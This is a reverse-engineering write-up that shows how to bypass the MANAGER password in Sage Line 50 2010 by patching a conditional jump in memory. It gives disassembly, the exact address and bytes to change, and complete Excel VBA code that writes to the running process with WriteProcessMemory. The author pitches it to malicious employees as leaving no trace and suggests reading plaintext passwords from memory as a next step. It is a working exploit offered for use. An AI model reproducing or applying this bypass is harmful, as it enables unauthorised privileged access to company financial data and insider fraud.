# **Reverse Engineering & Memory patching**

Author Richard Davy Email <u>rd@secureyour.it</u>

Sage Line 50 Version 2010 Fully updated and patched <a href="http://www.sage.co.uk/">http://www.sage.co.uk/</a>

#### Attack tools Softice, IDA Pro, Excel 2003

After reading a recent paper on reverse engineering I wanted to expand on this subject with an angle of attack which is very simple however not often missed.

In memory patching allows you to modify a program in memory without affecting its file stamp so no CRC checks to worry about and no alarms will be set off with monitoring programs. I have used this technique in real situations for a multitude of programs allowing me to escalate various privileges with relative ease.

This technique is scenario based as knowledge of software running on a machine is needed and version numbers however for a malicious employee these are easy to obtain and therefore make this form of attack quite feasible.

To add to things one of my favourite methods of executing these attacks is via Excel. Excel I hear you say.... The VBA programming language inside Excel can be an excellent tool to a hacker, it is available to all as most Windows computers have a copy of Office on and it doesn't leave a trace.

# Sage Preamble

Sage is a great accounting package and some would almost say it is the package of choice. It has great functionality and holds lots of important company data (making it an ideal target) There are multi user options in Sage however MANAGER is the god mode and therefore the one we want.

## **Attack Phase**



Upon opening Sage we are presented with a Logon Screen, entering MANAGER as our Logon name and random text as a password presents a Message Box stating that our password was invalid.

The MessageBox is our hook and in our Debugger we can set a breakpoint on MessageBoxA (this is an overview, for how to use a debugger search google)

Now we re-enter our password, and click on OK. Our debugger should now have kicked in.

As I can't take a screenshot from Softice, I have used IDA to display our code

| <pre> +* .text:2E10EFD5</pre>  |         | .LEXL:2EI0EFD5 | THE ZEINERNS: |      | :                   |
|--|---------|----------------|---------------|------|---------------------|
| <pre></pre>  |         |                |               | CMD  | ·                   |
| <pre>     text:2E10EFD9 xor edx, edx     text:2E10EFDE lea esi, [edx+18h]     text:2E10EFDE vov bl, 4     text:2E10EFE0 loc_2E10EFE0: ; COD     text:2E10EFE0 loc_2E10EFE0: ; COD     text:2E10EFE5 vov eax, ds:g_lpGlobUar     text:2E10EFE5 vov eax, [eax]     text:2E10EFE5 vov eax, [eax]     text:2E10EFE4 vov eax, [edx+6400h]     text:2E10EFF4 vov eax, [9h]     text:2E10EFF9 lea esp, [esp+0]     text:2E10F000 vov edi, ds:g_lpGlobUar     text:2E10F000 vov edi, ds:g_lpGlobUar     text:2E10F000 vov edi, [edi]     text:2E10F01 vov edi, [edi]     text:2E10F02 vov edi, [edi]     text:2</pre>   |         |                |               |      |                     |
| <pre>.text:2E10EFDB lea esi, [edx+18h]<br/>.text:2E10EFDE mov bl, 4<br/>.text:2E10EFE0</pre>   | •       |                |               | -    |                     |
| <pre>     text:2E10EFDE</pre>  | •       |                |               |      |                     |
| <pre>.text:2E10EFE0 loc_2E10EFE0: ; COD<br/>.text:2E10EFE0 loc_2E10EFE0: ; COD<br/>.text:2E10EFE5 mov ecx, [eax]<br/>.text:2E10EFE5 mov [edx+ecx+6409h], bl<br/>.text:2E10EFEF lea eax, [edx+640h]<br/>.text:2E10EFF9 lea esp, [esp+0]<br/>.text:2E10FF09 lea esp, [esp+0]<br/>.text:2E10F000 mov ecx, 19h<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F000 mov [eax+edi], bl<br/>.text:2E10F000 mov [eax+edi], bl<br/>.text:2E10F000 sub ecx, 1<br/>.text:2E10F000 sub ecx, 1<br/>.text:2E10F000 sub ecx, 1<br/>.text:2E10F01 jnz short loc_2E10F000<br/>.text:2E10F01 jnz short loc_2E10F000<br/>.text:2E10F01 jnz short loc_2E10EFE0<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F019 jnz short loc_2E10EFE0<br/>.text:2E10F023;<br/>.text:2E10F023;<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 j.<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx, intra-<br/>.text:2E10F023 mov edx intra-<br/>.text:2E10F033 mov edx intra-<br/>.text:2E10</pre> | •       | .text:2E10EFDE |               | mov  |                     |
| <pre>.text:2E10EFE0 loc_2E10EFE0: ; COD<br/>.text:2E10EFE5 mov ecx, [eax]<br/>.text:2E10EFE7 mov [edx+ecx+6409h], bl<br/>.text:2E10EFE7 mov [edx+ecx+6409h], bl<br/>.text:2E10EFF4 mov ecx, 19h<br/>.text:2E10FF000 .cc_2E10F000: ; COD<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F000 mov edi, [edi]<br/>.text:2E10F000 mov edi, [edi]<br/>.text:2E10F000 mov [edx+edi], bl<br/>.text:2E10F000 mov [edx, 10c_2E10F000 mov [edx+edi], bl<br/>.text:2E10F000 mov [edx, 10c_2E10FE0 mov [edx+edi], bl<br/>.text:2E10F000 mov [edx, 10c_2E10FE0 mov [edx+edi], bl<br/>.text:2E10F002 mov [edx, nDefault<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov mov [edx in infset asage50Account<br/>.text:2E10F031 mov [edx in infset asage50Account<br/>.text:2E10F031 mov [edx in infset asage50Account<br/>.text:2E10F030 mov [edx in infset asage50Account<br/>.text:2E10F030 mov [edx in infset asage50Account<br/>.text:2E10F030 mov [edx in infset asage50Account<br/>.text:2E10F031 mov [edx in infset asage50Account<br/>.text:2E10F030 mov [edx in infset asage50Account]</pre>  | 1       |                |               |      | ,                   |
| <pre>.text:2E10EFE0 mov eax, ds:g_lpGlobVar<br/>.text:2E10EFE5 mov ecx, [eax]<br/>.text:2E10EFE7 mov [edx+ecx+6409h], bl<br/>.text:2E10EFEE lea eax, [edx+6400h]<br/>.text:2E10EFF9 lea esp, [esp+0]<br/>.text:2E10F000 mov ecx, 19h<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F000 mov edi, [edi]<br/>.text:2E10F000 mov</pre>  | i       |                | loc 2E10EFE0: |      | : COD               |
| <pre>.text:2E10EFE5 mov ecx, [eax]<br/>.text:2E10EFE7 mov [edx+ecx+6409h], bl<br/>.text:2E10EFE4 mov ecx, 19h<br/>.text:2E10EFF9 lea esp, [esp+0]<br/>.text:2E10F000 loc_2E10F000: ; COD<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F013 add edx, 10h<br/>.text:2E10F013 mov esi, 1<br/>.text:2E10F014 sub esi, 1<br/>.text:2E10F015 sub esi, 1<br/>.text:2E10F023 ;<br/>.text:2E10F023 ;<br/>.text:2E10F023 ic_2E10F023: ; COD<br/>.text:2E10F023 ic_2E10F023 mov edx, nDefault<br/>.text:2E10F023 ic_2E10F023 is icax:2E10F0367<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx icax; uTy<br/>.text:2E10F031 mov edx icax; uTy<br/>.text:2E10F031 mov edx icax; uTy<br/>.text:2E10F031 mov edx icax; uTy<br/>.text:2E10F033 mov eax icax; uTy<br/>.text:2E10F034 mov edx icax; uTy<br/>.text:2E10F035 mov edx icax; uTy<br/>.text:2E10F036 mov edx icax; uTy<br/>.text:2E10F037 mov edx icax; uTy<br/>.text:2E10F038 mov edx icax; uTy<br/>.text:2E10F038 mov edx icax; uTy<br/>.text:2E10F038 mov edx icax; uTy<br/>.text:2E10F036 mov edx icax; uTy<br/>.text:2E10F037 mov eax icax; uTy<br/>.text:2E10F038 mov edx icax; uTy<br/>.text:2E10F038 mov edx icax; uTy<br/>.text:2E10F036 mov edx icax; uTy<br/>.text:2E10F037 mov edx icax; uTy<br/>.text:2E10F038 mov edx icax; uTy<br/>.text:2E10F038 mov edx icax; uTy<br/>.text:2E10F036 mov edx icax; uTy<br/>.text:2E10F037 mov edx icax; uTy<br/>.text:2E10F038 mov edx icax; uTy<br/>.text:2E10F038 mov edx icax; uTy<br/>.text:2E10F036 mov edx; icax; uTy<br/>.text:2E10F036 mov edx; icax; uTy<br/>.text:2E10F037 mov edx icax; icax; uTy<br/>.text:2E10F038 mov edx; icax; uTy<br/>.text:2E10F038 mov edx; icax; uTy<br/>.text:2E10F036 mov edx; icax; uTy<br/>.text:2E10F037 mov edx; icax; icax; uTy<br/>.text:2E10F038 mov edx; icax; i</pre>                             |         |                | -             | mov  |                     |
| <pre>     text:2E10EFE7 mov [edx+ecx+6409h], b1     text:2E10EFEE lea eax, [edx+6409h]     text:2E10EFF4 mov ecx, 19h     text:2E10F000 loc_2E10F000: ; COD     text:2E10F000 loc_2E10F000: ; COD     text:2E10F006 mov edi, ds:g_lp6lobUar     text:2E10F006 mov edi, [edi]     text:2E10F008 mov [eax+edi], b1     text:2E10F008 add eax, 1     text:2E10F008 add eax, 1     text:2E10F008 add eax, 1     text:2E10F009 jnz short loc_2E10F000     text:2E10F016 sub esi, 1     text:2E10F016 lea eax, [ecx+1]     text:2E10F018 lea eax, [ecx+1]     text:2E10F019 jnz short loc_2E10EFE0     text:2E10F018 lea eax, [ecx+1]     text:2E10F019 jnz short loc_2E10EFE0     text:2E10F018 lea eax, [ecx+1]     text:2E10F023 ioc_2E10F023: ; COD     text:2E10F023 ioc_2E10F023: ; COD     text:2E10F023 loc_2E10F023     text:2E10F023 loc_2E10F023: ; COD     text:2E10F023 loc_2E10F023 loc_2E10F024     text:2E10F034 lob     text:2E</pre>   | · i · · | .text:2E10EFE5 |               | mov  |                     |
| <pre>.text:2E10EFF4 mov ecx, 19h<br/>.text:2E10EFF9 lea esp, [esp+0]<br/>.text:2E10F000 .<br/>.text:2E10F000 loc_2E10F000: ; COD<br/>.text:2E10F000 mov edi, [edi]<br/>.text:2E10F006 mov edi, [edi]<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F00B add eax, 1<br/>.text:2E10F00B sub ecx, 1<br/>.text:2E10F011 jnz short loc_2E10F000<br/>.text:2E10F013 add edx, 1Ah<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 jmp loc_2E10F367<br/>.text:2E10F023 ;<br/>.text:2E10F023 ;<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx i Jpi<br/>.text:2E10F031 push 415h i JpC<br/>.text:2E10F036 call ?GetResourceString@QY<br/>.text:2E10F036 push eax i Jpi<br/>.text:2E10F030 push ebp i hwn<br/>.text:2E10F030 call ds:MessageBoxA</pre>  | - i •   | .text:2E10EFE7 |               | mov  |                     |
| <pre>.text:2E10EFF4 mov ecx, 19h<br/>.text:2E10EFF9 lea esp, [esp+0]<br/>.text:2E10F000 .<br/>.text:2E10F000 loc_2E10F000: ; COD<br/>.text:2E10F000 mov edi, [edi]<br/>.text:2E10F006 mov edi, [edi]<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F00B add eax, 1<br/>.text:2E10F00B sub ecx, 1<br/>.text:2E10F011 jnz short loc_2E10F000<br/>.text:2E10F013 add edx, 1Ah<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 jmp loc_2E10F367<br/>.text:2E10F023 ;<br/>.text:2E10F023 ;<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx i Jpi<br/>.text:2E10F031 push 415h i JpC<br/>.text:2E10F036 call ?GetResourceString@QY<br/>.text:2E10F036 push eax i Jpi<br/>.text:2E10F030 push ebp i hwn<br/>.text:2E10F030 call ds:MessageBoxA</pre>  | · · ·   | .text:2E10EFEE |               | lea  | eax, [edx+640Ah]    |
| <pre>.text:2E10F000<br/>.text:2E10F000 loc_2E10F000: ; COD<br/>.text:2E10F000 mov edi, ds:g_lpGlobUar<br/>.text:2E10F000 mov edi, [edi]<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F00B add eax, 1<br/>.text:2E10F00E sub ecx, 1<br/>.text:2E10F011 jnz short loc_2E10F000<br/>.text:2E10F013 add edx, 1Ah<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 jmp loc_2E10FEE0<br/>.text:2E10F023 ;</pre>  | •       | .text:2E10EFF4 |               | mov  |                     |
| <pre>.text:2E10F000 loc_2E10F000: ; COD<br/>.text:2E10F000 mov edi, ds:g_lpGlobVar<br/>.text:2E10F006 mov edi, [edi]<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F008 add eax, 1<br/>.text:2E10F018 sub ecx, 1<br/>.text:2E10F011 jnz short loc_2E10F000<br/>.text:2E10F013 add edx, 1Ah<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 jmp loc_2E10EFE0<br/>.text:2E10F023 ;</pre>   | · i · · | .text:2E10EFF9 |               | lea  | esp, [esp+0]        |
| .text:2E10F000       mov       edi, ds:g_lpGlobVar         .text:2E10F006       mov       edi, [edi]         .text:2E10F008       mov       [eax+edi], bl         .text:2E10F008       add       eax, 1         .text:2E10F008       add       eax, 1         .text:2E10F008       add       eax, 1         .text:2E10F011       jnz       short loc_2E10F000         .text:2E10F013       add       edx, 1Ah         .text:2E10F016       sub       esi, 1         .text:2E10F018       lea       eax, [ecx+1]         .text:2E10F018       lea       eax, [ecx+1]         .text:2E10F018       jmp       loc_2E10F367         .text:2E10F023       .text:2E10F623       ; COD         .text:2E10F023       .text:2E10F023       ; COD         .text:2E10F023       .text:2E10F023       ; COD         .text:2E10F023       .text:2E10F023       ; COD         .text:2E10F023       .text:2E10F023       ; COD         .text:2E10F023       .text:2E10F030       ; UTy         .text:2E10F030       push       edx       ; UTy         .text:2E10F031       push       edx       ; UTy         .text:2E10F038       push       eax  |         | .text:2E10F000 |               |      |                     |
| <pre>.text:2E10F006 mov edi, [edi]<br/>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F00B add eax, 1<br/>.text:2E10F00E sub ecx, 1<br/>.text:2E10F011 jnz short loc_2E10F000<br/>.text:2E10F013 add edx, 1Ah<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 jmp loc_2E10FE0<br/>.text:2E10F023 ;<br/>.text:2E10F023 ;<br/>.text:2E10F023 ioc_2E10F023: ; COD<br/>.text:2E10F023 ioc_2E10F023: ; COD<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx i uty<br/>.text:2E10F028 push offset aSage50Account<br/>.text:2E10F031 push 415h ; lpC<br/>.text:2E10F036 call ?GetResourceString@QY<br/>.text:2E10F030 push eax ; lpT<br/>.text:2E10F030 call ds:MessageBoxA</pre>  | i       | .text:2E10F000 | loc_2E10F000: |      | ; COD               |
| <pre>.text:2E10F008 mov [eax+edi], bl<br/>.text:2E10F00B add eax, 1<br/>.text:2E10F00E sub ecx, 1<br/>.text:2E10F011 jnz short loc_2E10F000<br/>.text:2E10F013 add edx, 1Ah<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F016 jnz short loc_2E10EFE0<br/>.text:2E10F018 lea eax, [ecx+1]<br/>.text:2E10F018 jmp loc_2E10F367<br/>.text:2E10F023 ;<br/>.text:2E10F023 ioc_2E10F023: ; COD<br/>.text:2E10F023 loc_2E10F023: ; COD<br/>.text:2E10F030 loc_3E1 loc_3E1</pre>   | 1 i 🗠   | .text:2E10F000 | _             | mov  | edi, ds:g_lpGlobVar |
| .text:2E10F00B       add       eax, 1         .text:2E10F00E       sub       ecx, 1         .text:2E10F011       jnz       short loc_2E10F000         .text:2E10F013       add       edx, 1Ah         .text:2E10F016       sub       esi, 1         .text:2E10F016       sub       esi, 1         .text:2E10F017       jnz       short loc_2E10EFE0         .text:2E10F018       lea       eax, [ecx+1]         .text:2E10F023       ;       .text:2E10F023         .text:2E10F023       ;       ;         .text:2E10F030       push       offset aSage50Account         .text:2E10F031       push       ; <t< th=""><th>-i •</th><th>.text:2E10F006</th><th></th><th>mov</th><th>edi, [edi]</th></t<>  | -i •    | .text:2E10F006 |               | mov  | edi, [edi]          |
| .text:2E10F00E       sub       ecx, 1         .text:2E10F011       jnz       short loc_2E10F000         .text:2E10F013       add       edx, 1Ah         .text:2E10F016       sub       esi, 1         .text:2E10F016       sub       esi, 1         .text:2E10F017       jnz       short loc_2E10EFE0         .text:2E10F018       lea       eax, [ecx+1]         .text:2E10F018       jmp       loc_2E10F367         .text:2E10F023       .text:2E10F023       ; COD         .text:2E10F023       ic_2E10F023       ; COD         .text:2E10F023       mov       edx, nDefault         .text:2E10F023       mov       edx, nDefault         .text:2E10F023       mov       edx       ; UTy         .text:2E10F029       push       10h         .text:2E10F030       push       edx       ; uTy         .text:2E10F031       push       415h       ; lpC         .text:2E10F036       call       ?GetResourceString@QY         .text:2E10F032       push       eax       ; lpT         .text:2E10F032       push       ebp       ; hVn         .text:2E10F030       call       ds:MessageBoxA  | - i i * | .text:2E10F008 |               | mov  | [eax+edi], bl       |
| <pre>.text:2E10F011 jnz short loc_2E10F000<br/>.text:2E10F013 add edx, 1Ah<br/>.text:2E10F016 sub esi, 1<br/>.text:2E10F019 jnz short loc_2E10EFE0<br/>.text:2E10F01B lea eax, [ecx+1]<br/>.text:2E10F023 ;<br/>.text:2E10F023 ;<br/>.text:2E10F023 loc_2E10F023: ; COD<br/>.text:2E10F023 loc_2E10F023: ; COD<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F029 push 10h<br/>.text:2E10F028 push offset aSage50Account<br/>.text:2E10F030 push edx ; uTy<br/>.text:2E10F031 push 415h ; 1pC<br/>.text:2E10F036 call ?GetResourceStringGeV<br/>.text:2E10F03C push ebp ; hWn<br/>.text:2E10F03D call ds:MessageBoxA</pre>   | -i •    | .text:2E10F00B |               | add  | eax, 1              |
| .text:2E10F013       add       edx, 1Ah         .text:2E10F016       sub       esi, 1         .text:2E10F019       jnz       short loc_2E10EFE0         .text:2E10F01B       lea       eax, [ecx+1]         .text:2E10F01E       jmp       loc_2E10F367         .text:2E10F023       ; conditional conditended conditi   | - i i * | .text:2E10F00E |               | sub  | ecx, 1              |
| <pre>.text:2E10F016 sub esi, 1<br/>.text:2E10F019 jnz short loc_2E10EFE0<br/>.text:2E10F01B lea eax, [ecx+1]<br/>.text:2E10F01E jmp loc_2E10F367<br/>.text:2E10F023 ;<br/>.text:2E10F023 ioc_2E10F023: ; COD<br/>.text:2E10F023 loc_2E10F023: ; COD<br/>.text:2E10F029 push 10h<br/>.text:2E10F028 push offset aSage50Account<br/>.text:2E10F028 push edx ; uTy<br/>.text:2E10F030 push edx ; uTy<br/>.text:2E10F031 push 415h ; lpC<br/>.text:2E10F036 call ?GetResourceString@QY<br/>.text:2E10F038 push eax ; lpT<br/>.text:2E10F030 call ds:MessageBoxA</pre>  |         | .text:2E10F011 |               | jnz  | short loc_2E10F000  |
| <pre>.text:2E10F019 jnz short loc_2E10EFE0<br/>.text:2E10F01B lea eax, [ecx+1]<br/>.text:2E10F01E jmp loc_2E10F367<br/>.text:2E10F023 ;<br/>.text:2E10F023 ioc_2E10F023: ; COD<br/>.text:2E10F023 loc_2E10F023: ; COD<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F029 push 10h<br/>.text:2E10F028 push offset aSage50Account<br/>.text:2E10F030 push edx ; uTy<br/>.text:2E10F031 push 415h ; lpC<br/>.text:2E10F036 call ?GetResourceString@QY<br/>.text:2E10F038 push eax ; lpT<br/>.text:2E10F030 push ebp ; hWn<br/>.text:2E10F030 call ds:MessageBoxA</pre>   | 1 i •   | .text:2E10F013 |               | add  | edx, 1Ah            |
| <pre>.text:2E10F01B lea eax, [ecx+1]<br/>.text:2E10F01E jmp loc_2E10F367<br/>.text:2E10F023 ;<br/>.text:2E10F023 ioc_2E10F023: ; COD<br/>.text:2E10F023 loc_2E10F023: ; COD<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F029 push 10h<br/>.text:2E10F028 push offset aSage50Account<br/>.text:2E10F030 push edx ; uTy<br/>.text:2E10F031 push 415h ; lpC<br/>.text:2E10F036 call ?GetResourceString@@Y<br/>.text:2E10F038 push eax ; lpT<br/>.text:2E10F03C push ebp ; hWn<br/>.text:2E10F03D call ds:MessageBoxA</pre>   | · · · · | .text:2E10F016 |               | sub  | esi, 1              |
| <pre>.text:2E10F01E jmp loc_2E10F367<br/>.text:2E10F023 ;<br/>.text:2E10F023 loc_2E10F023: ; COD<br/>.text:2E10F023 loc_2E10F023: ; COD<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F029 push 10h<br/>.text:2E10F028 push offset aSage50Account<br/>.text:2E10F030 push edx ; uTy<br/>.text:2E10F031 push 415h ; lpC<br/>.text:2E10F036 call ?GetResourceString@@Y<br/>.text:2E10F038 push eax ; lpT<br/>.text:2E10F03C push ebp ; hWn<br/>.text:2E10F03D call ds:MessageBoxA</pre>   |         | .text:2E10F019 |               | jnz  | short loc_2E10EFE0  |
| .text:2E10F023 ;   | · ·     | .text:2E10F01B |               |      |                     |
| .text:2E10F023<br>.text:2E10F023 loc_2E10F023: ; COD<br>.text:2E10F023 loc_2E10F023: ; COD<br>.text:2E10F023 mov edx, nDefault<br>.text:2E10F029 push 10h<br>.text:2E10F02B push offset aSage50Account<br>.text:2E10F030 push edx ; uTy<br>.text:2E10F031 push 415h ; lpC<br>.text:2E10F036 call ?GetResourceString@@Y<br>.text:2E10F038 push eax ; lpT<br>.text:2E10F03C push ebp ; hWn<br>.text:2E10F03D call ds:MessageBoxA   | •       | .text:2E10F01E |               | jmp  | 1oc_2E10F367        |
| <pre>.text:2E10F023 loc_2E10F023: ; COD<br/>.text:2E10F023 mov edx, nDefault<br/>.text:2E10F029 push 10h<br/>.text:2E10F02B push offset aSage50Account<br/>.text:2E10F030 push edx ; uTy<br/>.text:2E10F031 push 415h ; lpC<br/>.text:2E10F036 call ?GetResourceString@QY<br/>.text:2E10F038 push eax ; lpT<br/>.text:2E10F03C push ebp ; hWn<br/>.text:2E10F03D call ds:MessageBoxA</pre>   | 1       | .text:2E10F023 | ;             |      |                     |
| <pre></pre>  |         |                |               |      |                     |
| <ul> <li>.text:2E10F029</li> <li>.text:2E10F02B</li> <li>.text:2E10F030</li> <li>.text:2E10F031</li> <li>.text:2E10F031</li> <li>.text:2E10F036</li> <li>.text:2E10F036</li> <li>.text:2E10F038</li> <li>.text:2E10F038</li> <li>.text:2E10F03C</li> <li>.text:2E10F03D</li> <li>.text:2E10F03D</li> </ul>   | 1       |                | loc_2E10F023: |      | ,                   |
| • .text:2E10F02B       push       offset aSage50Account         • .text:2E10F030       push       edx       ; uTy         • .text:2E10F031       push       415h       ; lpC         • .text:2E10F036       call       ?GetResourceString@QY         • .text:2E10F038       push       eax       ; lpT         • .text:2E10F03C       push       ebp       ; hWn         • .text:2E10F03D       call       ds:MessageBoxA  | L •     |                |               |      | -                   |
| *.text:2E10F030 push edx ; uTy<br>.text:2E10F031 push 415h ; lpC<br>.text:2E10F036 call ?GetResourceString@@Y<br>.text:2E10F03B push eax ; lpT<br>.text:2E10F03C push ebp ; hWn<br>.text:2E10F03D call ds:MessageBoxA  | •       |                |               |      |                     |
| • .text:2E10F031       push       415h       ; lpC         • .text:2E10F036       call       ?GetResourceString@@Y         • .text:2E10F03B       push       eax       ; lpT         • .text:2E10F03C       push       ebp       ; hWn         • .text:2E10F03D       call       ds:MessageBoxA  | •       |                |               |      |                     |
| *.text:2E10F036 call ?GetResourceString@@Y<br>*.text:2E10F03B push eax ; 1pT<br>*.text:2E10F03C push ebp ; hWn<br>*.text:2E10F03D call ds:MessageBoxA  | •       |                |               |      |                     |
| * .text:2E10F03B push eax ; 1pT<br>* .text:2E10F03C push ebp ; hWn<br>* .text:2E10F03D call ds:MessageBoxA   | •       |                |               |      | ····· ,             |
| <ul> <li>.text:2E10F03C</li> <li>.text:2E10F03D</li> <li>call ds:MessageBoxA</li> </ul>  | •       |                |               |      |                     |
| *.text:2E10F03D call ds:MessageBoxA  | •       |                |               |      |                     |
|  | •       |                |               |      |                     |
| <pre>.text:2E10F043 push 6F7h ; nID</pre>  | •       |                |               |      |                     |
|  | •       | .text:2E10F043 |               | push | 6F7h ; nID          |

Looking at this code we can see that on line 2E10EFD7 there is a conditional jump whereby it jumps to 2E10F023 if our password is incorrect. If we change this code to jump to the line below it, program execution will continue regardless of the password entered which is what we want. To do this we need to change the Hex values from 74 4A to EB 00

If you change these values whilst in the debugger you will see that you can enter any password into the box and it will let you through.

#### Excel Code

Open up Excel and then the VBA editor add a module and insert the following code into the module.

Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long

Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Declare Function Hotkey Lib "user32" Alias "GetAsyncKeyState" (ByVal key As Long) As Integer

Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Public Function LAB(address As Long, value As Long, windowtitle As String) Dim handle As Long, processID As Long, ProcessHandle As Long, gamewindowtext As String, bytes As Byte handle = FindWindow(vbNullString, windowtitle)

If handle = 0 Then MsgBox "Logon Window Not Found", vbOKOnly + vbCritical, "Sage 2010 Password Killer" Exit Function End If

GetWindowThreadProcessId handle, processID ProcessHandle = OpenProcess(&H1F0FFF, True, processID) WriteProcessMemory ProcessHandle, address, value, 1, 0 CloseHandle ProcessHandle End Function

Now add a Form into your project and add a Command Button to it. Add the following code inside the command button.

Call LAB(&H2E10EFD7, &HEB, "Logon") Call LAB(&H2E10EFD8, &H0, "Logon")

## **Proof is in the Execution**

Run the new VBA project and open Sage to the password entry screen. Enter MANAGER as the username and anything as a password. Click on the command button in your project to run the code and then click on OK on the Sage Logon screen.

Sage should now let you continue as a MANAGER.

The real beauty of this technique is that if you now rerun Sage without the Bypass code everything is back to normal no files have been modified etc.

This technique can be expanded upon even further as most programs including Sage have the actual unencrypted password stored in memory and then do a string compare which decides to continue or not. Additional code could be written to use the ReadProcessMemory API which would achieve this result.